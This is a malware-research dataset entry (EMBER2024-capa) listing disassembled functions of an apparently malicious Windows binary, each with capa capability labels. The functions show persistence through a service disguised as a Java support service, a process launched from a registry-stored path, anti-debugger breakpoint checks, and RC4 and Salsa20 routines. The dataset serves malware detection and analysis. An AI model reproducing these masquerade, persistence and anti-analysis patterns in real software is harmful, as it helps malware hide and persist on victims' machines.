joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4012dd
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push esi
push 2
xor esi, esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x4013b9
push ebx
push edi
push 0x208
lea eax, [ebp - 0x214]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
push esi
push esi
push esi
push esi
xor eax, eax
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x214]
push eax
push 1
push 2
push 0x110
mov ebx, 0xf01ff
push ebx
push str.Java_TM__Virtual_Machine_Support_Service
mov edi, str.javatmsup
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov dword [ebp - 0xc], eax
cmp eax, esi
jne 0x401391
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
je 0x401363
cmp eax, 0x436
jne 0x4013ae
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov edi, eax
cmp edi, esi
je 0x4013ae
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0x214]
push eax
push 0xffffffffffffffff
push 2
push 0xffffffffffffffff
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push edi
jmp 0x4013a8
lea ecx, [ebp - 8]
push ecx
push 1
push eax
mov dword [ebp - 8], str.Java_interoperability_virtual_machine_support_for_continuing_execution_of_code
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2W]
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop ebx
pop esi
leave
ret

Function at 0x4013bc
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push esi
push edi
push dword [ebp + 8]
call fcn.004012a2
push 0x40
mov edi, eax
xor esi, esi
lea eax, [ebp - 0x5c]
push esi
push eax
call fcn.00401580
add esp, 0x10
lea eax, [ebp - 4]
push eax
push str.SOFTWAREJavaSoft
push 0x80000002
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x58], str.WinSta0Default
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
cmp dword [ebp - 4], esi
je 0x40143e
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x268]
push eax
lea eax, [ebp - 8]
push eax
push esi
push str.Supplement
push dword [ebp - 4]
mov dword [ebp - 0xc], 0x208
mov dword [ebp - 8], 3
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x60]
push eax
push esi
push esi
push 0x8000000
push esi
push esi
push esi
lea eax, [ebp - 0x268]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
pop edi
pop esi
test eax, eax
je 0x40146a
mov eax, dword [ebp - 0x1c]
leave
ret
or eax, 0xffffffff
leave
ret
Function at 0x4037a0
Capabilities:
Encrypt data using salsa20 or chacha
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x403970
mov eax, dword [esp + 8]
mov dword [eax], 0x61707865
mov dword [eax + 4], 0x61707865
mov dword [eax + 8], 0x61707865
mov dword [eax + 0xc], 0x61707865
mov dword [eax + 0x10], 0x3320646e
mov dword [eax + 0x14], 0x3320646e
mov dword [eax + 0x18], 0x3320646e
mov dword [eax + 0x1c], 0x3320646e
mov dword [eax + 0x20], 0x79622d32
mov dword [eax + 0x24], 0x79622d32
mov dword [eax + 0x28], 0x79622d32
mov dword [eax + 0x2c], 0x79622d32
mov dword [eax + 0x30], 0x6b206574
mov dword [eax + 0x34], 0x6b206574
mov dword [eax + 0x38], 0x6b206574
mov dword [eax + 0x3c], 0x6b206574
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov dword [eax + 0x40], edx
mov dword [eax + 0x44], edx
mov dword [eax + 0x48], edx
mov dword [eax + 0x4c], edx
mov edx, dword [ecx + 4]
mov dword [eax + 0x50], edx
mov dword [eax + 0x54], edx
mov dword [eax + 0x58], edx
mov dword [eax + 0x5c], edx
mov edx, dword [ecx + 8]
mov dword [eax + 0x60], edx
mov dword [eax + 0x64], edx
mov dword [eax + 0x68], edx
mov dword [eax + 0x6c], edx
mov edx, dword [ecx + 0xc]
mov dword [eax + 0x70], edx
mov dword [eax + 0x74], edx
mov dword [eax + 0x78], edx
mov dword [eax + 0x7c], edx
mov edx, dword [ecx + 0x10]
mov dword [eax + 0x80], edx
mov dword [eax + 0x84], edx
mov dword [eax + 0x88], edx
mov dword [eax + 0x8c], edx
mov edx, dword [ecx + 0x14]
mov dword [eax + 0x90], edx
mov dword [eax + 0x94], edx
mov dword [eax + 0x98], edx
mov dword [eax + 0x9c], edx
mov edx, dword [ecx + 0x18]
mov dword [eax + 0xa0], edx
mov dword [eax + 0xa4], edx
mov dword [eax + 0xa8], edx
mov dword [eax + 0xac], edx
mov ecx, dword [ecx + 0x1c]
mov dword [eax + 0xb0], ecx
mov dword [eax + 0xb4], ecx
mov dword [eax + 0xb8], ecx
mov dword [eax + 0xbc], ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 0xc0], ecx
lea edx, [ecx + 1]
mov dword [eax + 0xc4], edx
lea edx, [ecx + 2]
mov dword [eax + 0xc8], edx
add ecx, 3
mov dword [eax + 0xcc], ecx
mov dword [eax + 0xd0], 0
mov dword [eax + 0xd4], 0
mov dword [eax + 0xd8], 0
mov dword [eax + 0xdc], 0
mov dword [eax + 0xe0], 0
mov dword [eax + 0xe4], 0
mov dword [eax + 0xe8], 0
mov dword [eax + 0xec], 0
mov dword [eax + 0xf0], 0
mov dword [eax + 0xf4], 0
mov dword [eax + 0xf8], 0
mov dword [eax + 0xfc], 0
ret
call fcn.00471270
jmp fcn.004037a0
Function at 0x40c210
Capabilities:
Decompress data using quicklz

Disassembly:
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x40c3db
sub esp, 0x38
mov eax, dword [esp + 0x3c]
cmp eax, 0x7000000
jle 0x40c239
mov eax, 0x7000000
jmp 0x40c241
test eax, eax
je 0x40c3b6
mov dword [esp + 0x34], eax
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x18]
mov edx, dword [ecx + 0x448]
mov ebx, dword [ecx + 0x44c]
mov ebp, edx
shl edx, 0x11
xor edx, ebp
mov ebp, ebx
xor ebx, edx
shr edx, 7
xor edx, ebx
mov ebx, ebp
shr ebp, 0x10
xor ebp, edx
lea edx, [ebp + ebx]
shr edx, 6
inc edx
mov dword [ecx + 0x448], ebx
mov dword [ecx + 0x44c], ebp
mov dword [esp], edx
call fcn.00472620
movsd xmm0, qword [esp + 4]
movsd qword [esp + 0x24], xmm0
mov eax, dword [esp + 0x28]
mov ecx, eax
shr ecx, 0x14
and ecx, 0x7ff
mov edx, eax
shr edx, 0xf
and edx, 0x1f
shl eax, 5
mov ebx, dword [esp + 0x24]
shr ebx, 0x1b
or ebx, eax
lea eax, [0xbd4300]
movsd xmm0, qword [eax + edx*8]
mov ebp, ecx
add ecx, 0xfffffc01
add edx, 1
mov esi, 0
adc esi, 0
test esi, esi
jne 0x40c3ce
cmp edx, 0x21
jae 0x40c3c2
movsd qword [esp + 0x14], xmm0
add ebp, 0xfffffc01
mov ebp, 0xffffffff
adc ebp, 0
and ebx, 0xfffff
mov dword [esp + 0x10], ebx
movsd xmm0, qword [eax + edx*8]
movsd qword [esp + 0x1c], xmm0
mov dword [esp], ecx
mov dword [esp + 4], ebp
call fcn.00463240
movsd xmm0, qword [esp + 8]
movsd qword [esp + 0x2c], xmm0
mov eax, dword [esp + 0x10]
mov dword [esp], eax
mov dword [esp + 4], 0
call fcn.00463310
movsd xmm0, qword [esp + 0x2c]
movsd xmm1, qword [esp + 0x14]
addsd xmm0, xmm1
movsd xmm2, qword [esp + 0x1c]
subsd xmm2, xmm1
movsd xmm1, qword [esp + 8]
mulsd xmm1, xmm2
movsd xmm2, qword [0x93ce20]
mulsd xmm2, xmm1
addsd xmm0, xmm2
movsd xmm1, qword [0x93ce70]
subsd xmm0, xmm1
xorps xmm1, xmm1
ucomisd xmm0, xmm1
jbe 0x40c391
xorps xmm0, xmm0
mov eax, dword [esp + 0x34]
cvtsi2sd xmm1, eax
movsd xmm2, qword [0x93cea0]
mulsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
inc eax
mov dword [esp + 0x40], eax
add esp, 0x38
ret
mov dword [esp + 0x40], 0
add esp, 0x38
ret
mov eax, edx
mov ecx, 0x21
call fcn.00472700
mov eax, edx
mov ecx, 0x21
call fcn.004727d0
nop
call fcn.00471270
jmp fcn.0040c210
Function at 0x414480
Capabilities:
Check for software breakpoints

Disassembly:
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x41467e
sub esp, 0x18
mov eax, dword [0xc3333c]
test eax, eax
jne 0x414667
nop
nop
lea eax, [0xc3332c]
mov dword [esp], eax
call fcn.0040a860
mov eax, dword [0xc33330]
test eax, eax
je 0x4144c8
cmp dword [eax + 8], 0xcc
jne 0x41453e
mov edx, dword [0xc33334]
test edx, edx
jne 0x414520
mov dword [esp], 0x1000
mov dword [esp + 4], 0
lea eax, [0xc38130]
mov dword [esp + 8], eax
call fcn.0040c3f0
mov eax, dword [esp + 0xc]
mov dword [0xc33334], eax
mov ecx, dword [0xc33338]
mov dword [eax], ecx
mov eax, dword [0xc33334]
mov dword [0xc33338], eax
movzx eax, byte [0xc33ca0]
test al, al
jne 0x414520
xor eax, eax
jmp 0x414638
mov edx, dword [0xc33334]
mov ebx, dword [edx + 4]
mov dword [0xc33334], ebx
mov ebx, dword [0xc33330]
mov dword [edx + 4], ebx
mov dword [0xc33330], edx
mov edx, dword [0xc33330]
mov eax, dword [edx + 8]
cmp eax, 0xcc
jae 0x414617
mov dword [esp + 0x14], edx
mov dword [esp + 0x10], eax
lea eax, [edx + 8]
mov dword [esp], eax
mov dword [esp + 4], 1
call fcn.00477330
mov eax, dword [0xc33830]
mov ecx, dword [esp + 0x10]
lea ecx, [ecx + ecx*4]
test eax, eax
jne 0x414590
mov eax, dword [esp + 0x20]
mov edx, dword [esp + 0x14]
mov ebx, dword [esp + 0x28]
mov ebp, dword [esp + 0x2c]
jmp 0x4145d0
call fcn.004726e0
mov eax, dword [esp + 0x20]
mov dword [edi], eax
mov edx, dword [esp + 0x14]
mov ebx, dword [edx + ecx*4 + 0x10]
mov dword [edi + 4], ebx
mov ebx, dword [esp + 0x28]
mov dword [edi + 8], ebx
mov ebp, dword [edx + ecx*4 + 0x1c]
mov dword [edi + 0xc], ebp
mov ebp, dword [esp + 0x2c]
mov dword [edi + 0x10], ebp
mov esi, dword [edx + ecx*4 + 0x20]
mov dword [edi + 0x14], esi
mov esi, dword [esp + 0x1c]
mov dword [edi + 0x18], esi
mov esi, dword [edx + ecx*4 + 0x14]
mov dword [edi + 0x1c], esi
mov dword [edx + ecx*4 + 0x10], eax
mov eax, dword [esp + 0x24]
mov dword [edx + ecx*4 + 0x18], eax
mov dword [edx + ecx*4 + 0x1c], ebx
mov dword [edx + ecx*4 + 0x20], ebp
mov eax, dword [esp + 0x1c]
mov dword [edx + ecx*4 + 0x14], eax
nop
nop
lea eax, [0xc3332c]
mov dword [esp], eax
call fcn.0040aa80
nop
lea eax, [0xc33328]
mov dword [esp], eax
mov dword [esp + 4], 8
call fcn.004774b0
add esp, 0x18
ret
mov ecx, 0xcc
call fcn.00472700
lea edx, [0xbce0b0]
movzx ebx, byte [edx + eax]
lea ebp, [0xc33ca0]
mov byte [ebp + ecx], bl
lea eax, [ecx + 1]
cmp eax, 0x80
jge 0x414520
mov ecx, eax
mov eax, 0xcccccccd
imul ecx
add edx, ecx
sar edx, 2
lea edx, [edx + edx*4]
mov eax, ecx
sub eax, edx
cmp eax, 5
jb 0x414621
mov ecx, 5
call fcn.004726f0
lea eax, [0x894912]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call fcn.0046bfc0
nop
call fcn.00471270
jmp fcn.00414480
Function at 0x4196a0
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x419729
sub esp, 0x10
mov eax, dword [esp + 0x14]
test byte [eax], al
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 1
call fcn.004771e0
movzx eax, byte [esp + 0xc]
test al, al
je 0x41970e
mov eax, dword [esp + 0x14]
movzx ecx, byte [eax + 6]
test cl, cl
jne 0x419712
mov dword [esp], eax
mov ecx, dword [esp + 0x18]
mov dword [esp + 4], ecx
mov ecx, dword [esp + 0x1c]
mov dword [esp + 8], ecx
call fcn.00419740
mov eax, dword [esp + 0x14]
mov dword [esp], eax
call fcn.00419cf0
add esp, 0x10
ret
add esp, 0x10
ret
lea eax, [0x89492a]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call fcn.0046bfc0
nop
call fcn.00471270
jmp fcn.004196a0
Function at 0x429480
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x42965a
sub esp, 0x14
mov eax, dword [esp + 0x18]
movzx ecx, byte [eax + 6]
cmp cl, 2
ja 0x429585
cmp cl, 1
je 0x429514
cmp cl, 2
jne 0x429643
mov ecx, dword [eax + 8]
test byte [ecx], al
mov dword [esp], ecx
mov dword [esp + 4], 0
call fcn.00477280
nop
nop
lea eax, [0xc1f9c8]
mov dword [esp], eax
call fcn.0040a860
mov eax, dword [0xc1f9bc]
sub eax, dword [0xc1f9a0]
nop
mov dword [0xc1f9bc], eax
mov eax, dword [0xc1f9ac]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0xc1f9ac], ecx
nop
lea eax, [0xc1f9c8]
mov dword [esp], eax
call fcn.0040aa80
jmp 0x42963f
mov ecx, dword [eax + 8]
mov edx, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
mov ebp, dword [eax + 0x14]
mov esi, dword [esp + 0x1c]
mov dword [esp], esi
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 0x10], ebp
call fcn.00414480
nop
nop
lea eax, [0xc1f9c8]
mov dword [esp], eax
call fcn.0040a860
mov eax, dword [0xc1f91c]
sub eax, dword [0xc1f900]
nop
mov dword [0xc1f91c], eax
mov eax, dword [0xc1f90c]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0xc1f90c], ecx
nop
lea eax, [0xc1f9c8]
mov dword [esp], eax
call fcn.0040aa80
jmp 0x42963f
cmp cl, 3
je 0x4295e7
cmp cl, 4
jne 0x429598
mov byte [eax + 8], 1
jmp 0x42963f
cmp cl, 5
jne 0x429643
nop
nop
lea eax, [0xc1f9c8]
mov dword [esp], eax
call fcn.0040a860
mov eax, dword [0xc1f994]
sub eax, dword [0xc1f978]
nop
mov dword [0xc1f994], eax
mov eax, dword [0xc1f984]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0xc1f984], ecx
nop
lea eax, [0xc1f9c8]
mov dword [esp], eax
call fcn.0040aa80
jmp 0x42963f
mov ecx, dword [eax + 8]
mov dword [esp], ecx
mov ecx, dword [esp + 0x20]
mov dword [esp + 4], ecx
call fcn.0042ea80
nop
nop
lea eax, [0xc1f9c8]
mov dword [esp], eax
call fcn.0040a860
mov eax, dword [0xc1f944]
sub eax, dword [0xc1f928]
nop
mov dword [0xc1f944], eax
mov eax, dword [0xc1f934]
mov ecx, dword [esp + 0x18]
mov dword [ecx], eax
mov dword [0xc1f934], ecx
nop
nop
lea eax, [0xc1f9c8]
mov dword [esp], eax
call fcn.0040aa80
add esp, 0x14
ret
lea eax, [0x88f1d8]
mov dword [esp], eax
mov dword [esp + 4], 0x10
call fcn.0046bfc0
nop
call fcn.00471270
jmp fcn.00429480
Function at 0x42eb50
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x42ecd2
sub esp, 0x24
mov eax, dword [0xc33c7c]
test eax, eax
je 0x42ec7d
mov eax, dword [esp + 0x38]
cmp eax, 5
jg 0x42ec88
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
mov edx, dword [ecx + 0x18]
nop
inc dword [edx + 0x7c]
mov edx, dword [ecx + 0x18]
mov dword [esp + 0x20], edx
mov ebx, dword [edx + 0x50]
test ebx, ebx
je 0x42ebd6
cmp ecx, ebx
je 0x42ebd6
mov ecx, dword [edx + 0x17c]
mov ebp, dword [edx + 0x180]
mov esi, dword [edx + 0x178]
mov dword [esp], ebx
mov dword [esp + 4], eax
mov dword [esp + 8], esi
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], ebp
call fcn.0045a690
mov eax, dword [esp + 0x14]
jmp 0x42ec00
mov ecx, dword [edx + 0x178]
mov ebx, dword [edx + 0x17c]
mov ebp, dword [edx + 0x180]
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], ebx
mov dword [esp + 0xc], ebp
call fcn.00470520
mov eax, dword [esp + 0x10]
mov ebx, dword [esp + 0x20]
mov edx, dword [ebx + 0x180]
cmp eax, edx
ja 0x42ec81
mov ecx, dword [ebx + 0x178]
mov ebp, dword [esp + 0x28]
mov dword [esp], ebp
mov ebp, dword [esp + 0x2c]
mov dword [esp + 4], ebp
mov ebp, dword [esp + 0x30]
mov dword [esp + 8], ebp
mov ebp, dword [esp + 0x34]
mov dword [esp + 0xc], ebp
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], edx
mov eax, dword [esp + 0x3c]
mov dword [esp + 0x1c], eax
call fcn.0042f590
mov eax, dword [esp + 0x20]
mov ecx, dword [eax + 0x7c]
lea edx, [ecx - 1]
nop
mov ebx, dword [0xc33494]
mov ebx, dword fs:[ebx]
mov ebx, dword [ebx]
mov dword [eax + 0x7c], edx
cmp ecx, 1
jne 0x42ec79
movzx eax, byte [ebx + 0x69]
test al, al
je 0x42ec79
mov dword [ebx + 8], 0xfffffade
add esp, 0x24
ret
add esp, 0x24
ret
mov ecx, eax
call fcn.00472730
call fcn.00438990
lea eax, [0x88e8aa]
mov dword [esp], eax
mov dword [esp + 4], 0xf
call fcn.004391f0
mov eax, dword [esp + 0x38]
mov dword [esp], eax
sar eax, 0x1f
mov dword [esp + 4], eax
call fcn.00439010
call fcn.004389f0
lea eax, [0x890520]
mov dword [esp], eax
mov dword [esp + 4], 0x12
call fcn.0046bfc0
nop
call fcn.00471270
jmp fcn.0042eb50
Function at 0x434cd0
Capabilities:
Access peb ldr_data

Disassembly:
sub esp, 8
mov dword [esp + 0x30], 0
mov eax, dword [0xc33494]
mov eax, dword fs:[eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [eax + 0x1b0], 8
lea ecx, [esp + 0x10]
mov dword [eax + 0x1b4], ecx
mov eax, dword [esp + 0xc]
mov dword [esp], eax
call fcn.004349b0
mov eax, dword [esp + 4]
mov dword [esp + 0x30], eax
add esp, 8
ret
Function at 0x456930
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x456a2c
sub esp, 0x14
mov eax, dword [esp + 0x18]
mov eax, dword [eax + 0x14]
mov dword [esp + 0x10], eax
test byte [eax], al
nop
nop
mov dword [esp], eax
call fcn.0040a860
mov eax, dword [esp + 0x10]
movzx ecx, byte [eax + 6]
test cl, cl
jne 0x456973
call fcn.004567d0
mov eax, dword [esp + 0x10]
inc dword [eax + 8]
movzx ecx, byte [eax + 5]
test cl, 1
je 0x4569c7
test cl, 4
je 0x4569c7
mov edx, dword [eax + 0xc]
mov ebx, dword [eax + 0x10]
test ebx, ebx
setg bl
xchg ebp, ebx
sete bl
xchg ebp, ebx
test edx, edx
seta dl
and ebp, edx
or ebp, ebx
xchg ebp, eax
test al, al
xchg ebp, eax
je 0x4569c7
and ecx, 0xfffffffb
mov byte [eax + 5], cl
mov ecx, dword [eax + 0x2c]
test byte [ecx], al
add ecx, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0xffffffff
call fcn.004772c0
mov eax, dword [esp + 0x10]
movzx ecx, byte [eax + 5]
nop
test cl, 1
jne 0x456a05
mov ecx, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
test edx, edx
setg dl
sete bl
test ecx, ecx
seta cl
and ebx, ecx
or ebx, edx
test bl, bl
je 0x456a05
movzx ecx, byte [eax + 6]
test cl, cl
je 0x4569fe
mov ecx, dword [eax + 8]
test ecx, ecx
seta cl
jmp 0x456a07
mov ecx, 1
jmp 0x456a07
xor ecx, ecx
mov byte [esp + 0xf], cl
mov dword [esp], eax
call fcn.004545c0
movzx eax, byte [esp + 0xf]
test al, al
je 0x456a28
mov eax, dword [esp + 0x10]
mov dword [esp], eax
call fcn.00455100
add esp, 0x14
ret
call fcn.00471270
jmp fcn.00456930
Function at 0x460270
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x46047a
sub esp, 0x68
movzx eax, byte [esp + 0x88]
test al, al
je 0x46042a
mov ecx, dword [esp + 0x8c]
test ecx, ecx
sete dl
mov ebx, dword [esp + 0x90]
test ebx, ebx
xchg ebp, ebx
sete bl
xchg ebp, ebx
and ebp, edx
xchg ebp, eax
test al, al
xchg ebp, eax
je 0x46033a
mov ecx, dword [esp + 0x78]
mov dword [esp + 0x28], ecx
mov edx, dword [esp + 0x7c]
mov dword [esp + 0x2c], edx
mov ebx, dword [esp + 0x80]
mov dword [esp + 0x30], ebx
mov ebx, dword [esp + 0x84]
mov dword [esp + 0x34], ebx
movzx eax, al
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], 0
mov eax, dword [esp + 0x6c]
mov dword [esp], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x74]
mov dword [esp + 8], eax
mov byte [esp + 0xc], 0x19
lea eax, [esp + 0x28]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 3
mov dword [esp + 0x18], 3
call fcn.0045cb30
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
jmp 0x4603bc
mov edx, dword [esp + 0x78]
mov dword [esp + 0x48], edx
mov ebp, dword [esp + 0x7c]
mov dword [esp + 0x4c], ebp
mov esi, dword [esp + 0x80]
mov dword [esp + 0x50], esi
mov esi, dword [esp + 0x84]
mov dword [esp + 0x54], esi
movzx eax, al
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], ecx
mov dword [esp + 0x64], ebx
mov eax, dword [esp + 0x6c]
mov dword [esp], eax
mov eax, dword [esp + 0x70]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x74]
mov dword [esp + 8], eax
mov byte [esp + 0xc], 0x30
lea eax, [esp + 0x48]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 4
call fcn.0045cb30
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
movzx ebx, byte [esp + 0x89]
test bl, bl
je 0x460411
mov ebx, dword [esp + 0x78]
mov dword [esp + 0x40], ebx
mov ebx, dword [esp + 0x7c]
mov dword [esp + 0x44], ebx
mov dword [esp], eax
mov dword [esp + 4], ecx
mov dword [esp + 8], edx
mov byte [esp + 0xc], 0x22
lea eax, [esp + 0x40]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 1
mov dword [esp + 0x18], 1
call fcn.0045cb30
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x94], eax
mov dword [esp + 0x98], ecx
mov dword [esp + 0x9c], edx
add esp, 0x68
ret
call fcn.00438990
lea eax, [0x88e033]
mov dword [esp], eax
mov dword [esp + 4], 0xe
call fcn.004391f0
mov eax, dword [esp + 0x78]
mov dword [esp], eax
mov eax, dword [esp + 0x7c]
mov dword [esp + 4], eax
call fcn.00438ee0
call fcn.00438b90
call fcn.004389f0
lea eax, [0x8aa161]
mov dword [esp], eax
mov dword [esp + 4], 0x2f
call fcn.0046bfc0
nop
call fcn.00471270
jmp fcn.00460270
Function at 0x46eb50
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x46ecca
sub esp, 0x10
mov ecx, dword [esp + 0x18]
test ecx, ecx
jbe 0x46ecc0
mov edx, dword [esp + 0x14]
movzx ebx, byte [edx]
test ebx, ebx
jne 0x46ebaa
movzx ebp, byte [esp + 0x28]
xchg ebp, eax
test al, al
xchg ebp, eax
jne 0x46ebaa
mov dword [esp + 0x2c], 0
mov dword [esp + 0x30], 0
mov dword [esp + 0x34], 0
mov byte [esp + 0x38], 0
add esp, 0x10
ret
test ebx, 0x80
je 0x46ebbd
xor eax, eax
xor ebx, ebx
xor ebp, ebp
jmp 0x46ec97
mov eax, 1
mov ebp, ebx
and ebx, 1
neg ebx
shr ebp, 1
xor ebx, ebp
mov ebp, dword [esp + 0x24]
add dword [ebp], ebx
cmp ecx, eax
jb 0x46ec8b
sub ecx, eax
mov ebx, dword [esp + 0x1c]
sub ebx, eax
mov ebp, ebx
neg ebx
sar ebx, 0x1f
and eax, ebx
lea ebx, [edx + eax]
test ecx, ecx
jbe 0x46ec82
movzx edx, byte [edx + eax]
test edx, 0x80
je 0x46ec10
mov dword [esp + 0xc], ecx
xor eax, eax
xor edx, edx
xor esi, esi
jmp 0x46ec53
mov eax, 1
cmp eax, ecx
ja 0x46ec47
mov esi, dword [esp + 0x20]
add dword [esi], edx
sub ebp, eax
sub ecx, eax
mov edx, ebp
xchg ebp, ebx
neg ebx
xchg ebp, ebx
sar ebp, 0x1f
and eax, ebp
add eax, ebx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], ecx
mov dword [esp + 0x34], edx
mov byte [esp + 0x38], 1
add esp, 0x10
ret
call fcn.00472760
lea esi, [ecx + 7]
mov ecx, dword [esp + 0xc]
cmp eax, ecx
jae 0x46ec7d
movzx edi, byte [eax + ebx]
xchg edi, eax
mov byte [esp + 0xb], al
xchg edi, eax
and edi, 0x7f
mov ecx, esi
shl edi, cl
inc eax
or edx, edi
movzx edi, byte [esp + 0xb]
xchg edi, eax
test al, 0x80
xchg edi, eax
jne 0x46ec4c
mov ecx, dword [esp + 0xc]
jmp 0x46ec15
call fcn.00472700
xor eax, eax
mov ecx, eax
call fcn.004726f0
call fcn.00472760
lea ebp, [ecx + 7]
mov ecx, dword [esp + 0x18]
cmp ecx, eax
jbe 0x46ecbb
movzx esi, byte [eax + edx]
mov edi, esi
and esi, 0x7f
mov ecx, ebp
shl esi, cl
inc eax
or ebx, esi
xchg edi, eax
test al, 0x80
xchg edi, eax
jne 0x46ec90
mov ecx, dword [esp + 0x18]
jmp 0x46ebc2
call fcn.00472700
xor eax, eax
mov ecx, eax
call fcn.004726f0
nop
call fcn.00471270
jmp fcn.0046eb50
Function at 0x470520
Capabilities:
Access peb ldr_data

Disassembly:
mov ecx, dword [0xc33494]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x4705bb
sub esp, 0x30
lea ecx, [esp + 0x34]
mov dword [esp + 4], ecx
mov edx, dword [0xc33494]
mov edx, dword fs:[edx]
mov edx, dword [edx]
mov dword [esp + 8], 0
lea edi, [esp + 0xc]
xor eax, eax
call fcn.00472907
lea ecx, [0x45a5d0]
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x30]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 4]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x18], edx
lea ecx, [esp + 8]
mov dword [esp + 0x1c], ecx
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x20], ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x28], ecx
mov ecx, dword [esp + 0x40]
mov dword [esp + 0x2c], ecx
mov ecx, dword [esp + 0x38]
mov dword [esp + 0x24], ecx
lea ecx, [esp + 0xc]
mov dword [esp], ecx
call fcn.00471180
mov ecx, dword [esp + 8]
mov dword [esp + 0x44], ecx
add esp, 0x30
ret
call fcn.00471270
jmp fcn.00470520